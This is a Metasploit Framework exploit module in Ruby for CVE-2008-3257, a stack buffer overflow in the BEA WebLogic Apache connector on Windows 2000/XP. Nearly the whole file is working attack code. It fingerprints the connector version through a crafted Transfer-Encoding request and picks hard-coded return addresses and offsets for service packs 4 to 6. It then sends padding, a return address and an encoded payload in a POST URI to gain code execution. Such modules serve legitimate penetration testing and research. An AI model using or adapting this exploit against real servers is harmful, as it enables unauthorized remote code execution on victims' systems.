##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerprint = { :pattern => [ /Apache/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the BEA
				Weblogic Apache plugin.

				The connector fails to properly handle specially crafted HTTP POST
				requests, resulting a buffer overflow due to the insecure usage
				of sprintf.  Currently, this module works over Windows systems without DEP,
				and has been tested with Windows 2000 / XP.

				In addition, the Weblogic Apache plugin version is fingerprinted with a POST
				request containing a specially crafted Transfer-Encoding header.
			},
			'Author'         =>
				[
					'KingCope', # Vulnerability Discovery and PoC
					'juan vazquez', # Metasploit Module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-3257' ],
					[ 'OSVDB', '47096' ],
					[ 'BID', '30273' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => true,
			'Platform'       => 'win',
			'Payload'        =>
				{
					'Space'    => 4000,
					'BadChars' => "\x00\x0d\x0a\x3f"
				},
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[  'BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
						{
							'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so
							'Offset' =>  4102
						}
					],
					[  'BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
						{
							'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so
							'Offset' =>  4102
						}
					],
					[  'BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
						{
							'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so
							'Offset' =>  4102
						}
					]
				],
			'DisclosureDate' => 'Jul 17 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),
			], self.class)

	end


	def check

		fingerprint = fingerprint_mod_wl
		print_status "#{rhost}:#{rport} - #{fingerprint}"

		case fingerprint
		when /Version found/
			return Exploit::CheckCode::Vulnerable
		when /BEA WebLogic connector vulnerable/
			return Exploit::CheckCode::Appears
		when /BEA WebLogic connector undefined/
			return Exploit::CheckCode::Detected
		when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/
			return Exploit::CheckCode::Safe
		end

	end

	def exploit

		# Autodetect BEA mod_wl version
		my_target = get_target

		# Avoid the attack if the victim doesn't have the same setup we're targeting
		if my_target.nil?
			print_error("BEA mod_weblogic not supported")
			return
		end

		uri = target_uri.path
		sploit = rand_text_alphanumeric(my_target['Offset']-uri.length)
		sploit << [my_target.ret].pack("V")
		sploit << payload.encoded

		send_request_cgi({
			'method'  => 'POST',
			'uri'     => "#{uri} #{sploit}",
		})

		handler

	end

	def get_target

		return target if target.name != 'Automatic'

		fingerprint = fingerprint_mod_wl

		case fingerprint
		when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/
			return targets[1]
		when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/
			return targets[2]
		when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/
			return targets[3]
		else
			return nil
		end

	end

	def fingerprint_mod_wl

		my_data = rand_text_alpha(rand(5) + 8)
		res = send_request_cgi(
				{
					'method'  => 'POST',
					'uri'     => target_uri.path,
					'headers' =>
						{
							'Transfer-Encoding' => my_data
						},
					'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
				})

		if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/
			# BEA WebLogic 8.1 SP6 - mod_wl_20.so
			case res.body
			when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)
				return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"
			# BEA WebLogic 8.1 SP5 - mod_wl_20.so
			when (/Build date\/time:<\/B> <I>Aug  5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)
				return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"
			when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)
				return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"
			# Check for dates prior to patch release
			when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/
				build_date = Date.parse($1)
				if build_date <= Date.parse("Jul 28 2008")
					return "BEA WebLogic connector vulnerable"
				else
					return "BEA WebLogic connector not vulnerable"
				end
			else
				return "BEA WebLogic connector undefined"
			end
		end

		return "BEA WebLogic connector not found"

	end

end
